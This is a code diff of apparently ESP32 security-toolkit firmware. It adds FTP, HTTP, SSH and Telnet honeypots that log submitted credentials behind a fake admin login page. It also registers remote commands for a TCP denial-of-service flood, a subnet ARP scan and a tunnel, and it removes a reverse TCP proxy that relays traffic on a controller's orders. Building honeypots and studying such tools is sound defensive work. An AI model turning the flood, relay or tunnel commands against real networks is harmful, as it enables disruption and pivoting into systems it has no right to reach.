if (strncasecmp(buf, "USER ", 5) == 0) {
strncpy(user, buf + 5, sizeof(user) - 1);
user[sizeof(user) - 1] = '\0';
char *p = user; while (*p && *p != '\r' && *p != '\n') p++; *p = '\0';
const char *resp = "331 Password required\r\n";
send(client_fd, resp, strlen(resp), 0);
} else if (strncasecmp(buf, "PASS ", 5) == 0) {
strncpy(pass, buf + 5, sizeof(pass) - 1);
pass[sizeof(pass) - 1] = '\0';
char *p = pass; while (*p && *p != '\r' && *p != '\n') p++; *p = '\0';
const char *resp = "530 Login incorrect\r\n";
send(client_fd, resp, strlen(resp), 0);
break;
} else if (strncasecmp(buf, "QUIT", 4) == 0) {
const char *resp = "221 Goodbye\r\n";
send(client_fd, resp, strlen(resp), 0);
break;
} else {
const char *resp = "500 Unknown command\r\n";
send(client_fd, resp, strlen(resp), 0);
}
}
if (user[0] || pass[0]) {
svc->auth_attempts++;
char detail[192];
snprintf(detail, sizeof(detail),
"service=ftp user='%.32s' pass='%.32s'", user, pass);
event_send("SVC_AUTH_ATTEMPT", "HIGH", "00:00:00:00:00:00",
client_ip, client_port, 21, detail, NULL);
}
int tarpit = hp_config_get_threshold("tarpit_ms");
if (tarpit > 0)
vTaskDelay(pdMS_TO_TICKS(tarpit));
}
#endif

View File

@ -0,0 +1,106 @@
/*
* svc_http.c
* HTTP honeypot handler request logging + POST body capture.
* Serves a fake login page to capture credentials.
*/
#include "sdkconfig.h"
#ifdef CONFIG_MODULE_HONEYPOT
#include "svc_common.h"
/* Extract server name from NVS banner (e.g. "Apache/2.4.54 (Ubuntu)") */
static void extract_server_name(char *out, size_t out_len)
{
char banner[128];
hp_config_get_banner("http", banner, sizeof(banner));
/* Banner format: "HTTP/1.1 200 OK\r\nServer: Apache/2.4.54 (Ubuntu)\r\n" */
char *srv = strstr(banner, "Server: ");
if (srv) {
srv += 8;
char *end = strstr(srv, "\r\n");
size_t len = end ? (size_t)(end - srv) : strlen(srv);
if (len >= out_len) len = out_len - 1;
memcpy(out, srv, len);
out[len] = '\0';
} else {
snprintf(out, out_len, "Apache/2.4.54");
}
}
/* Login page body */
static const char LOGIN_PAGE[] =
"<html><head><title>Admin Panel</title>"
"<style>body{font-family:sans-serif;background:#f0f0f0;display:flex;"
"justify-content:center;align-items:center;height:100vh;margin:0}"
".box{background:#fff;padding:2rem;border-radius:8px;box-shadow:0 2px 8px rgba(0,0,0,.2)}"
"input{display:block;margin:0.5rem 0;padding:0.4rem;width:200px}"
"button{padding:0.5rem 1rem;cursor:pointer}</style></head>"
"<body><div class='box'><h2>Authentication Required</h2>"
"<form method='POST' action='/login'>"
"<input name='user' placeholder='Username'>"
"<input name='pass' type='password' placeholder='Password'>"
"<button type='submit'>Login</button>"
"</form></div></body></html>";
void handle_http_client(int client_fd, const char *client_ip,
uint16_t client_port, hp_svc_desc_t *svc)
{
svc->connections++;
char buf[MAX_CLIENT_BUF];
int n = recv(client_fd, buf, sizeof(buf) - 1, 0);
if (n <= 0) return;
buf[n] = '\0';
/* Extract first line without modifying buf (needed for POST body search) */
char first_line[130];
char *eol = strstr(buf, "\r\n");
size_t fl_len = eol ? (size_t)(eol - buf) : (size_t)n;
if (fl_len >= sizeof(first_line)) fl_len = sizeof(first_line) - 1;
memcpy(first_line, buf, fl_len);
first_line[fl_len] = '\0';
char detail[192];
snprintf(detail, sizeof(detail), "service=http request='%.128s'", first_line);
event_send("SVC_CONNECT", "MEDIUM", "00:00:00:00:00:00",
client_ip, client_port, 80, detail, NULL);
/* Check for POST data → auth attempt */
if (strncmp(buf, "POST", 4) == 0) {
svc->auth_attempts++;
char *body = strstr(buf, "\r\n\r\n");
if (body) {
body += 4;
char post_detail[192];
snprintf(post_detail, sizeof(post_detail),
"service=http post='%.128s'", body);
event_send("SVC_AUTH_ATTEMPT", "HIGH", "00:00:00:00:00:00",
client_ip, client_port, 80, post_detail, NULL);
}
}
/* Build proper HTTP response */
char server_name[64];
extract_server_name(server_name, sizeof(server_name));
int body_len = (int)sizeof(LOGIN_PAGE) - 1;
char resp_hdr[256];
int hdr_len = snprintf(resp_hdr, sizeof(resp_hdr),
"HTTP/1.1 200 OK\r\n"
"Server: %s\r\n"
"Content-Type: text/html\r\n"
"Content-Length: %d\r\n"
"Connection: close\r\n\r\n",
server_name, body_len);
send(client_fd, resp_hdr, hdr_len, 0);
send(client_fd, LOGIN_PAGE, body_len, 0);
int tarpit = hp_config_get_threshold("tarpit_ms");
if (tarpit > 0)
vTaskDelay(pdMS_TO_TICKS(tarpit));
}
#endif

View File

@ -0,0 +1,42 @@
/*
* svc_ssh.c
* SSH honeypot handler banner + auth attempt capture + tarpit.
*/
#include "sdkconfig.h"
#ifdef CONFIG_MODULE_HONEYPOT
#include "svc_common.h"
void handle_ssh_client(int client_fd, const char *client_ip,
uint16_t client_port, hp_svc_desc_t *svc)
{
char banner[128];
hp_config_get_banner("ssh", banner, sizeof(banner));
send(client_fd, banner, strlen(banner), 0);
svc->connections++;
event_send("SVC_CONNECT", "LOW", "00:00:00:00:00:00",
client_ip, client_port, 22, "service=ssh", NULL);
/* Read client version string / auth attempt */
char buf[MAX_CLIENT_BUF];
int n = recv(client_fd, buf, sizeof(buf) - 1, 0);
if (n > 0) {
buf[n] = '\0';
while (n > 0 && (buf[n-1] == '\r' || buf[n-1] == '\n'))
buf[--n] = '\0';
svc->auth_attempts++;
char detail[192];
snprintf(detail, sizeof(detail), "service=ssh payload='%.128s'", buf);
event_send("SVC_AUTH_ATTEMPT", "HIGH", "00:00:00:00:00:00",
client_ip, client_port, 22, detail, NULL);
}
int tarpit = hp_config_get_threshold("tarpit_ms");
if (tarpit > 0)
vTaskDelay(pdMS_TO_TICKS(tarpit));
}
#endif

View File

@ -0,0 +1,60 @@
/*
* svc_telnet.c
* Telnet honeypot handler login prompt + user/pass capture + tarpit.
*/
#include "sdkconfig.h"
#ifdef CONFIG_MODULE_HONEYPOT
#include "svc_common.h"
void handle_telnet_client(int client_fd, const char *client_ip,
uint16_t client_port, hp_svc_desc_t *svc)
{
char banner[128];
hp_config_get_banner("telnet", banner, sizeof(banner));
send(client_fd, banner, strlen(banner), 0);
svc->connections++;
event_send("SVC_CONNECT", "LOW", "00:00:00:00:00:00",
client_ip, client_port, 23, "service=telnet", NULL);
/* Read username */
char user[64] = {0};
int n = recv(client_fd, user, sizeof(user) - 1, 0);
if (n > 0) {
user[n] = '\0';
while (n > 0 && (user[n-1] == '\r' || user[n-1] == '\n'))
user[--n] = '\0';
}
/* Send password prompt */
const char *pass_prompt = "Password: ";
send(client_fd, pass_prompt, strlen(pass_prompt), 0);
char pass[64] = {0};
n = recv(client_fd, pass, sizeof(pass) - 1, 0);
if (n > 0) {
pass[n] = '\0';
while (n > 0 && (pass[n-1] == '\r' || pass[n-1] == '\n'))
pass[--n] = '\0';
}
if (user[0] || pass[0]) {
svc->auth_attempts++;
char detail[192];
snprintf(detail, sizeof(detail),
"service=telnet user='%.32s' pass='%.32s'", user, pass);
event_send("SVC_AUTH_ATTEMPT", "HIGH", "00:00:00:00:00:00",
client_ip, client_port, 23, detail, NULL);
}
const char *fail = "\r\nLogin incorrect\r\n";
send(client_fd, fail, strlen(fail), 0);
int tarpit = hp_config_get_threshold("tarpit_ms");
if (tarpit > 0)
vTaskDelay(pdMS_TO_TICKS(tarpit));
}
#endif

View File

@ -1,3 +1,9 @@
idf_component_register(SRCS "cmd_network.c" "mod_ping.c" "mod_proxy.c" "mod_arp.c" "mod_dos.c"
set(SRCS "cmd_network.c" "mod_ping.c" "mod_arp.c" "mod_dos.c")
if(CONFIG_MODULE_TUNNEL)
list(APPEND SRCS "tun_core.c")
endif()
idf_component_register(SRCS ${SRCS}
INCLUDE_DIRS .
REQUIRES lwip protocol_examples_common esp_wifi core command)
REQUIRES lwip protocol_examples_common esp_wifi core)

View File

@ -11,16 +11,17 @@
#include "freertos/FreeRTOS.h"
#include "freertos/task.h"
#include "command.h"
#include "utils.h"
#ifdef CONFIG_MODULE_TUNNEL
#include "tun_core.h"
#endif
/* ============================================================
* EXTERNAL SYMBOLS
* ============================================================ */
int do_ping_cmd(int argc, char **argv);
int do_ping_cmd(int argc, char **argv, const char *req);
void arp_scan_task(void *pvParameters);
void init_proxy(char *ip, int port);
extern int proxy_running;
void start_dos(const char *t_ip, uint16_t t_port, int count);
#define TAG "CMD_NETWORK"
@ -41,7 +42,7 @@
return -1;
}
return do_ping_cmd(argc + 1, argv - 1);
return do_ping_cmd(argc, argv, req);
}
/* ============================================================
@ -56,13 +57,15 @@
(void)argc;
(void)argv;
(void)ctx;
(void)req;
/* Heap-copy request_id for the scan task (freed inside arp_scan_task) */
char *req_copy = req ? strdup(req) : NULL;
xTaskCreatePinnedToCore(
arp_scan_task,
"arp_scan",
6144,
NULL,
req_copy,
5,
NULL,
1
@ -71,55 +74,6 @@
return 0;
}
/* ============================================================
* COMMAND: proxy_start <ip> <port>
* ============================================================ */
static int cmd_proxy_start(
int argc,
char **argv,
const char *req,
void *ctx
) {
(void)ctx;
if (argc != 2) {
msg_error(TAG, "usage: proxy_start <ip> <port>", req);
return -1;
}
if (proxy_running) {
msg_error(TAG, "proxy already running", req);
return -1;
}
init_proxy(argv[0], atoi(argv[1]));
msg_info(TAG, "proxy started", req);
return 0;
}
/* ============================================================
* COMMAND: proxy_stop
* ============================================================ */
static int cmd_proxy_stop(
int argc,
char **argv,
const char *req,
void *ctx
) {
(void)argc;
(void)argv;
(void)ctx;
if (!proxy_running) {
msg_error(TAG, "proxy not running", req);
return -1;
}
proxy_running = 0;
msg_info(TAG, "proxy stopping", req);
return 0;
}
/* ============================================================
* COMMAND: dos_tcp <ip> <port> <count>
* ============================================================ */
@ -145,18 +99,101 @@
msg_info(TAG, "DOS task started", req);
return 0;
}
#ifdef CONFIG_MODULE_TUNNEL
/* ============================================================
* COMMAND: tun_start <ip> <port>
* ============================================================ */
static int cmd_tun_start(
int argc,
char **argv,
const char *req,
void *ctx
) {
(void)ctx;
if (argc != 2) {
msg_error(TAG, "usage: tun_start <ip> <port>", req);
return -1;
}
if (tun_is_running()) {
msg_error(TAG, "tunnel already running", req);
return -1;
}
int port = atoi(argv[1]);
if (port <= 0 || port > 65535) {
msg_error(TAG, "invalid port", req);
return -1;
}
if (!tun_start(argv[0], port, req)) {
msg_error(TAG, "tunnel start failed", req);
return -1;
}
msg_info(TAG, "tunnel starting", req);
return 0;
}
/* ============================================================
* COMMAND: tun_stop
* ============================================================ */
static int cmd_tun_stop(
int argc,
char **argv,
const char *req,
void *ctx
) {
(void)argc;
(void)argv;
(void)ctx;
if (!tun_is_running()) {
msg_error(TAG, "tunnel not running", req);
return -1;
}
tun_stop();
msg_info(TAG, "tunnel stopping", req);
return 0;
}
/* ============================================================
* COMMAND: tun_status
* ============================================================ */
static int cmd_tun_status(
int argc,
char **argv,
const char *req,
void *ctx
) {
(void)argc;
(void)argv;
(void)ctx;
char status[256];
tun_get_status(status, sizeof(status));
msg_info(TAG, status, req);
return 0;
}
#endif /* CONFIG_MODULE_TUNNEL */
/* ============================================================
* REGISTER COMMANDS
* ============================================================ */
static const command_t network_cmds[] = {
{ "ping", 1, 8, cmd_ping, NULL, true },
{ "arp_scan", 0, 0, cmd_arp_scan, NULL, true },
{ "proxy_start", 2, 2, cmd_proxy_start, NULL, true },
{ "proxy_stop", 0, 0, cmd_proxy_stop, NULL, false },
{ "dos_tcp", 3, 3, cmd_dos_tcp, NULL, true }
{ "ping", NULL, NULL, 1, 8, cmd_ping, NULL, true },
{ "arp_scan", NULL, NULL, 0, 0, cmd_arp_scan, NULL, true },
{ "dos_tcp", NULL, NULL, 3, 3, cmd_dos_tcp, NULL, true },
#ifdef CONFIG_MODULE_TUNNEL
{ "tun_start", NULL, "Start tunnel: tun_start <ip> <port>", 2, 2, cmd_tun_start, NULL, true },
{ "tun_stop", NULL, "Stop tunnel", 0, 0, cmd_tun_stop, NULL, false },
{ "tun_status", NULL, "Tunnel status", 0, 0, cmd_tun_status, NULL, false },
#endif
};
void mod_network_register_commands(void)
{
for (size_t i = 0;

View File

@ -5,156 +5,158 @@
#include "freertos/FreeRTOS.h"
#include "freertos/task.h"
#include "esp_log.h"
#include "esp_netif.h"
#include "esp_netif_net_stack.h"
#include "lwip/ip4_addr.h"
#include "lwip/etharp.h"
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include "utils.h"
#define TAG "ARP_SCAN"
#define ARP_TIMEOUT_MS 5000
#define ARP_BATCH_SIZE 5
/* ============================================================
* Helpers
* ============================================================ */
/* Convert little/big endian safely */
static uint32_t swap_u32(uint32_t v)
{
return ((v & 0xFF000000U) >> 24) |
((v & 0x00FF0000U) >> 8) |
((v & 0x0000FF00U) << 8) |
((v & 0x000000FFU) << 24);
}
static void next_ip(esp_ip4_addr_t *ip)
{
esp_ip4_addr_t tmp;
tmp.addr = swap_u32(ip->addr);
tmp.addr++;
ip->addr = swap_u32(tmp.addr);
}
/* ============================================================
* ARP scan task
* ============================================================ */
void arp_scan_task(void *pvParameters)
{
(void)pvParameters;
msg_info(TAG, "ARP scan started", NULL);
esp_netif_t *netif_handle =
esp_netif_get_handle_from_ifkey("WIFI_STA_DEF");
if (!netif_handle) {
msg_error(TAG, "wifi netif not found", NULL);
vTaskDelete(NULL);
return;
}
struct netif *lwip_netif =
esp_netif_get_netif_impl(netif_handle);
if (!lwip_netif) {
msg_error(TAG, "lwIP netif not found", NULL);
vTaskDelete(NULL);
return;
}
esp_netif_ip_info_t ip_info;
esp_netif_get_ip_info(netif_handle, &ip_info);
/* Compute network range */
esp_ip4_addr_t start_ip;
start_ip.addr = ip_info.ip.addr & ip_info.netmask.addr;
esp_ip4_addr_t end_ip;
end_ip.addr = start_ip.addr | ~ip_info.netmask.addr;
esp_ip4_addr_t cur_ip = start_ip;
char ip_str[IP4ADDR_STRLEN_MAX];
char json[128];
while (cur_ip.addr != end_ip.addr) {
esp_ip4_addr_t batch[ARP_BATCH_SIZE];
int batch_count = 0;
/* Send ARP requests */
for (int i = 0; i < ARP_BATCH_SIZE; i++) {
next_ip(&cur_ip);
if (cur_ip.addr == end_ip.addr)
break;
etharp_request(
lwip_netif,
(const ip4_addr_t *)&cur_ip
);
batch[batch_count++] = cur_ip;
}
/* Wait for replies */
vTaskDelay(pdMS_TO_TICKS(ARP_TIMEOUT_MS));
/* Collect results */
for (int i = 0; i < batch_count; i++) {
struct eth_addr *mac = NULL;
const ip4_addr_t *ip_ret = NULL;
if (etharp_find_addr(
lwip_netif,
(const ip4_addr_t *)&batch[i],
&mac,
&ip_ret
) == ERR_OK && mac) {
esp_ip4addr_ntoa(
&batch[i],
ip_str,
sizeof(ip_str)
);
int len = snprintf(
json,
sizeof(json),
"{"
"\"ip\":\"%s\","
"\"mac\":\"%02X:%02X:%02X:%02X:%02X:%02X\""
"}",
ip_str,
mac->addr[0], mac->addr[1], mac->addr[2],
mac->addr[3], mac->addr[4], mac->addr[5]
);
if (len > 0) {
/* 1 host = 1 streamed event */
msg_data(
TAG,
json,
len,
false, /* eof */
NULL
);
}
}
}
}
msg_info(TAG, "ARP scan completed", NULL);
/* End of stream */
msg_data(TAG, NULL, 0, true, NULL);
vTaskDelete(NULL);
}
#define ARP_TIMEOUT_MS 1500
#define ARP_BATCH_SIZE 16
/* ============================================================
* Helpers
* ============================================================ */
/* Convert little/big endian safely */
static uint32_t swap_u32(uint32_t v)
{
return ((v & 0xFF000000U) >> 24) |
((v & 0x00FF0000U) >> 8) |
((v & 0x0000FF00U) << 8) |
((v & 0x000000FFU) << 24);
}
static void next_ip(esp_ip4_addr_t *ip)
{
esp_ip4_addr_t tmp;
tmp.addr = swap_u32(ip->addr);
tmp.addr++;
ip->addr = swap_u32(tmp.addr);
}
/* ============================================================
* ARP scan task
* pvParameters = heap-allocated request_id string (or NULL)
* ============================================================ */
void arp_scan_task(void *pvParameters)
{
char *req = (char *)pvParameters;
ESP_LOGI(TAG, "ARP scan started (req=%s)", req ? req : "none");
esp_netif_t *netif_handle =
esp_netif_get_handle_from_ifkey("WIFI_STA_DEF");
if (!netif_handle) {
msg_error(TAG, "wifi netif not found", req);
free(req);
vTaskDelete(NULL);
return;
}
struct netif *lwip_netif =
esp_netif_get_netif_impl(netif_handle);
if (!lwip_netif) {
msg_error(TAG, "lwIP netif not found", req);
free(req);
vTaskDelete(NULL);
return;
}
esp_netif_ip_info_t ip_info;
esp_netif_get_ip_info(netif_handle, &ip_info);
/* Compute network range */
esp_ip4_addr_t start_ip;
start_ip.addr = ip_info.ip.addr & ip_info.netmask.addr;
esp_ip4_addr_t end_ip;
end_ip.addr = start_ip.addr | ~ip_info.netmask.addr;
esp_ip4_addr_t cur_ip = start_ip;
char ip_str[IP4ADDR_STRLEN_MAX];
char json[128];
while (cur_ip.addr != end_ip.addr) {
esp_ip4_addr_t batch[ARP_BATCH_SIZE];
int batch_count = 0;
/* Send ARP requests */
for (int i = 0; i < ARP_BATCH_SIZE; i++) {
next_ip(&cur_ip);
if (cur_ip.addr == end_ip.addr)
break;
etharp_request(
lwip_netif,
(const ip4_addr_t *)&cur_ip
);
batch[batch_count++] = cur_ip;
}
/* Wait for replies */
vTaskDelay(pdMS_TO_TICKS(ARP_TIMEOUT_MS));
/* Collect results */
for (int i = 0; i < batch_count; i++) {
struct eth_addr *mac = NULL;
const ip4_addr_t *ip_ret = NULL;
if (etharp_find_addr(
lwip_netif,
(const ip4_addr_t *)&batch[i],
&mac,
&ip_ret
) >= 0 && mac) {
esp_ip4addr_ntoa(
&batch[i],
ip_str,
sizeof(ip_str)
);
int len = snprintf(
json,
sizeof(json),
"{"
"\"ip\":\"%s\","
"\"mac\":\"%02X:%02X:%02X:%02X:%02X:%02X\""
"}",
ip_str,
mac->addr[0], mac->addr[1], mac->addr[2],
mac->addr[3], mac->addr[4], mac->addr[5]
);
if (len > 0) {
msg_data(
TAG,
json,
len,
false,
req
);
}
}
}
}
/* Final message closes the stream (eof=true) */
const char *done = "ARP scan completed";
msg_data(TAG, done, strlen(done), true, req);
free(req);
vTaskDelete(NULL);
}

View File

@ -6,177 +6,192 @@
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include "lwip/inet.h"
#include "lwip/netdb.h"
#include "esp_log.h"
#include "ping/ping_sock.h"
#include "utils.h"
#define TAG "PING"
static char line[256];
/* ============================================================
* Ping callbacks
* ============================================================ */
static void ping_on_success(esp_ping_handle_t hdl, void *args)
{
(void)args;
uint8_t ttl;
uint16_t seq;
uint32_t time_ms, size;
ip_addr_t addr;
esp_ping_get_profile(hdl, ESP_PING_PROF_SEQNO, &seq, sizeof(seq));
esp_ping_get_profile(hdl, ESP_PING_PROF_TTL, &ttl, sizeof(ttl));
esp_ping_get_profile(hdl, ESP_PING_PROF_TIMEGAP, &time_ms, sizeof(time_ms));
esp_ping_get_profile(hdl, ESP_PING_PROF_SIZE, &size, sizeof(size));
esp_ping_get_profile(hdl, ESP_PING_PROF_IPADDR, &addr, sizeof(addr));
int len = snprintf(line, sizeof(line),
"%lu bytes from %s: icmp_seq=%u ttl=%u time=%lums",
(unsigned long)size,
ipaddr_ntoa(&addr),
seq,
ttl,
(unsigned long)time_ms
);
if (len > 0) {
msg_data(TAG, line, len, false, NULL);
}
}
static void ping_on_timeout(esp_ping_handle_t hdl, void *args)
{
(void)args;
uint16_t seq;
ip_addr_t addr;
esp_ping_get_profile(hdl, ESP_PING_PROF_SEQNO, &seq, sizeof(seq));
esp_ping_get_profile(hdl, ESP_PING_PROF_IPADDR, &addr, sizeof(addr));
int len = snprintf(line, sizeof(line),
"From %s: icmp_seq=%u timeout",
ipaddr_ntoa(&addr),
seq
);
if (len > 0) {
msg_data(TAG, line, len, false, NULL);
}
}
static void ping_on_end(esp_ping_handle_t hdl, void *args)
{
(void)args;
uint32_t sent, recv, duration;
ip_addr_t addr;
esp_ping_get_profile(hdl, ESP_PING_PROF_REQUEST, &sent, sizeof(sent));
esp_ping_get_profile(hdl, ESP_PING_PROF_REPLY, &recv, sizeof(recv));
esp_ping_get_profile(hdl, ESP_PING_PROF_DURATION, &duration, sizeof(duration));
esp_ping_get_profile(hdl, ESP_PING_PROF_IPADDR, &addr, sizeof(addr));
int loss = sent ? (100 - (recv * 100 / sent)) : 0;
int len = snprintf(line, sizeof(line),
"--- %s ping statistics ---\n"
"%lu packets transmitted, %lu received, %d%% packet loss, time %lums",
ipaddr_ntoa(&addr),
(unsigned long)sent,
(unsigned long)recv,
loss,
(unsigned long)duration
);
if (len > 0) {
/* Final summary, end of stream */
msg_data(TAG, line, len, true, NULL);
}
esp_ping_delete_session(hdl);
}
/* ============================================================
* Command entry point (used by network command wrapper)
* ============================================================ */
int do_ping_cmd(int argc, char **argv)
{
if (argc < 2) {
msg_error(TAG,
"usage: ping <host> [timeout interval size count ttl iface]",
NULL);
return -1;
}
esp_ping_config_t cfg = ESP_PING_DEFAULT_CONFIG();
cfg.count = 4;
cfg.timeout_ms = 1000;
const char *host = argv[1];
/* Optional arguments */
if (argc > 2) cfg.timeout_ms = atoi(argv[2]) * 1000;
if (argc > 3) cfg.interval_ms = (uint32_t)(atof(argv[3]) * 1000);
if (argc > 4) cfg.data_size = atoi(argv[4]);
if (argc > 5) cfg.count = atoi(argv[5]);
if (argc > 6) cfg.tos = atoi(argv[6]);
if (argc > 7) cfg.ttl = atoi(argv[7]);
/* Resolve host */
ip_addr_t target;
memset(&target, 0, sizeof(target));
if (!ipaddr_aton(host, &target)) {
struct addrinfo *res = NULL;
if (getaddrinfo(host, NULL, NULL, &res) != 0 || !res) {
msg_error(TAG, "unknown host", NULL);
return -1;
}
#ifdef CONFIG_LWIP_IPV4
if (res->ai_family == AF_INET) {
inet_addr_to_ip4addr(
ip_2_ip4(&target),
&((struct sockaddr_in *)res->ai_addr)->sin_addr
);
}
#endif
#ifdef CONFIG_LWIP_IPV6
if (res->ai_family == AF_INET6) {
inet6_addr_to_ip6addr(
ip_2_ip6(&target),
&((struct sockaddr_in6 *)res->ai_addr)->sin6_addr
);
}
#endif
freeaddrinfo(res);
}
cfg.target_addr = target;
esp_ping_callbacks_t cbs = {
.on_ping_success = ping_on_success,
.on_ping_timeout = ping_on_timeout,
.on_ping_end = ping_on_end
};
esp_ping_handle_t ping;
esp_ping_new_session(&cfg, &cbs, &ping);
esp_ping_start(ping);
return 0;
}
#include "utils.h"
#define TAG "PING"
/* Context passed to ping callbacks via cb_args */
typedef struct {
char req[64]; /* request_id copy (empty string if none) */
} ping_ctx_t;
/* ============================================================
* Ping callbacks
* ============================================================ */
static void ping_on_success(esp_ping_handle_t hdl, void *args)
{
ping_ctx_t *ctx = (ping_ctx_t *)args;
const char *req = (ctx && ctx->req[0]) ? ctx->req : NULL;
char line[256];
uint8_t ttl;
uint16_t seq;
uint32_t time_ms, size;
ip_addr_t addr;
esp_ping_get_profile(hdl, ESP_PING_PROF_SEQNO, &seq, sizeof(seq));
esp_ping_get_profile(hdl, ESP_PING_PROF_TTL, &ttl, sizeof(ttl));
esp_ping_get_profile(hdl, ESP_PING_PROF_TIMEGAP, &time_ms, sizeof(time_ms));
esp_ping_get_profile(hdl, ESP_PING_PROF_SIZE, &size, sizeof(size));
esp_ping_get_profile(hdl, ESP_PING_PROF_IPADDR, &addr, sizeof(addr));
int len = snprintf(line, sizeof(line),
"%lu bytes from %s: icmp_seq=%u ttl=%u time=%lums",
(unsigned long)size,
ipaddr_ntoa(&addr),
seq,
ttl,
(unsigned long)time_ms
);
if (len > 0) {
msg_data(TAG, line, len, false, req);
}
}
static void ping_on_timeout(esp_ping_handle_t hdl, void *args)
{
ping_ctx_t *ctx = (ping_ctx_t *)args;
const char *req = (ctx && ctx->req[0]) ? ctx->req : NULL;
char line[256];
uint16_t seq;
ip_addr_t addr;
esp_ping_get_profile(hdl, ESP_PING_PROF_SEQNO, &seq, sizeof(seq));
esp_ping_get_profile(hdl, ESP_PING_PROF_IPADDR, &addr, sizeof(addr));
int len = snprintf(line, sizeof(line),
"From %s: icmp_seq=%u timeout",
ipaddr_ntoa(&addr),
seq
);
if (len > 0) {
msg_data(TAG, line, len, false, req);
}
}
static void ping_on_end(esp_ping_handle_t hdl, void *args)
{
ping_ctx_t *ctx = (ping_ctx_t *)args;
const char *req = (ctx && ctx->req[0]) ? ctx->req : NULL;
uint32_t sent, recv, duration;
ip_addr_t addr;
esp_ping_get_profile(hdl, ESP_PING_PROF_REQUEST, &sent, sizeof(sent));
esp_ping_get_profile(hdl, ESP_PING_PROF_REPLY, &recv, sizeof(recv));
esp_ping_get_profile(hdl, ESP_PING_PROF_DURATION, &duration, sizeof(duration));
esp_ping_get_profile(hdl, ESP_PING_PROF_IPADDR, &addr, sizeof(addr));
int loss = sent ? (100 - (recv * 100 / sent)) : 0;
char line[256];
int len = snprintf(line, sizeof(line),
"--- %s ping statistics ---\n"
"%lu packets transmitted, %lu received, %d%% packet loss, time %lums",
ipaddr_ntoa(&addr),
(unsigned long)sent,
(unsigned long)recv,
loss,
(unsigned long)duration
);
if (len > 0) {
msg_data(TAG, line, len, true, req);
}
esp_ping_delete_session(hdl);
free(ctx);
}
/* ============================================================
* Command entry point
* ============================================================ */
int do_ping_cmd(int argc, char **argv, const char *req)
{
if (argc < 1) {
msg_error(TAG,
"usage: ping <host> [timeout interval size count ttl iface]",
req);
return -1;
}
esp_ping_config_t cfg = ESP_PING_DEFAULT_CONFIG();
cfg.count = 4;
cfg.timeout_ms = 1000;
cfg.task_stack_size = 8192; /* default 2048 too small for msg_data→protobuf stack */
const char *host = argv[0];
/* Optional arguments */
if (argc > 1) cfg.timeout_ms = atoi(argv[1]) * 1000;
if (argc > 2) cfg.interval_ms = (uint32_t)(atof(argv[2]) * 1000);
if (argc > 3) cfg.data_size = atoi(argv[3]);
if (argc > 4) cfg.count = atoi(argv[4]);
if (argc > 5) cfg.tos = atoi(argv[5]);
if (argc > 6) cfg.ttl = atoi(argv[6]);
/* Resolve host */
ip_addr_t target;
memset(&target, 0, sizeof(target));
if (!ipaddr_aton(host, &target)) {
struct addrinfo *res = NULL;
if (getaddrinfo(host, NULL, NULL, &res) != 0 || !res) {
msg_error(TAG, "unknown host", req);
return -1;
}
#ifdef CONFIG_LWIP_IPV4
if (res->ai_family == AF_INET) {
inet_addr_to_ip4addr(
ip_2_ip4(&target),
&((struct sockaddr_in *)res->ai_addr)->sin_addr
);
}
#endif
#ifdef CONFIG_LWIP_IPV6
if (res->ai_family == AF_INET6) {
inet6_addr_to_ip6addr(
ip_2_ip6(&target),
&((struct sockaddr_in6 *)res->ai_addr)->sin6_addr
);
}
#endif
freeaddrinfo(res);
}
cfg.target_addr = target;
/* Heap-allocate context for callbacks (freed in ping_on_end) */
ping_ctx_t *ctx = calloc(1, sizeof(ping_ctx_t));
if (ctx && req) {
snprintf(ctx->req, sizeof(ctx->req), "%s", req);
}
esp_ping_callbacks_t cbs = {
.on_ping_success = ping_on_success,
.on_ping_timeout = ping_on_timeout,
.on_ping_end = ping_on_end,
.cb_args = ctx
};
esp_ping_handle_t ping;
esp_ping_new_session(&cfg, &cbs, &ping);
esp_ping_start(ping);
return 0;
}

View File

@ -1,200 +0,0 @@
/*
* Eun0us - Reverse TCP Proxy Module
* Clean & stream-based implementation
*/
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include "freertos/FreeRTOS.h"
#include "freertos/task.h"
#include "esp_log.h"
#include "utils.h"
#define TAG "PROXY"
#define MAX_PROXY_RETRY 10
#define RETRY_DELAY_MS 5000
#define CMD_BUF_SIZE 256
#define RX_BUF_SIZE 1024
int proxy_running = 0;
static int cc_client = -1;
/* ============================================================
* Helpers
* ============================================================ */
/* Replace escaped \r \n */
static void unescape_payload(const char *src, char *dst, size_t max_len)
{
size_t i = 0, j = 0;
while (src[i] && j < max_len - 1) {
if (src[i] == '\\' && src[i + 1] == 'r') {
dst[j++] = '\r';
i += 2;
} else if (src[i] == '\\' && src[i + 1] == 'n') {
dst[j++] = '\n';
i += 2;
} else {
dst[j++] = src[i++];
}
}
dst[j] = '\0';
}
/* ============================================================
* Proxy command handler task
* ============================================================ */
static void proxy_task(void *arg)
{
(void)arg;
char cmd[CMD_BUF_SIZE];
msg_info(TAG, "proxy handler started", NULL);
while (proxy_running) {
int len = recv(cc_client, cmd, sizeof(cmd) - 1, 0);
if (len <= 0) {
msg_error(TAG, "connection closed", NULL);
break;
}
cmd[len] = '\0';
/* Format: ip:port|payload */
char *sep_ip = strchr(cmd, ':');
char *sep_pay = strchr(cmd, '|');
if (!sep_ip || !sep_pay || sep_pay <= sep_ip) {
msg_error(TAG, "invalid command format", NULL);
continue;
}
/* Extract IP */
char ip[64];
size_t ip_len = sep_ip - cmd;
if (ip_len >= sizeof(ip)) {
msg_error(TAG, "ip too long", NULL);
continue;
}
memcpy(ip, cmd, ip_len);
ip[ip_len] = '\0';
/* Extract port */
int port = atoi(sep_ip + 1);
if (port <= 0 || port > 65535) {
msg_error(TAG, "invalid port", NULL);
continue;
}
const char *payload_escaped = sep_pay + 1;
char info_msg[96];
snprintf(info_msg, sizeof(info_msg),
"proxying to %s:%d", ip, port);
msg_info(TAG, info_msg, NULL);
/* Destination socket */
int dst = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
if (dst < 0) {
msg_error(TAG, "socket failed", NULL);
continue;
}
struct sockaddr_in addr = {
.sin_family = AF_INET,
.sin_port = htons(port),
.sin_addr.s_addr = inet_addr(ip),
};
struct timeval timeout = { .tv_sec = 5, .tv_usec = 0 };
setsockopt(dst, SOL_SOCKET, SO_RCVTIMEO, &timeout, sizeof(timeout));
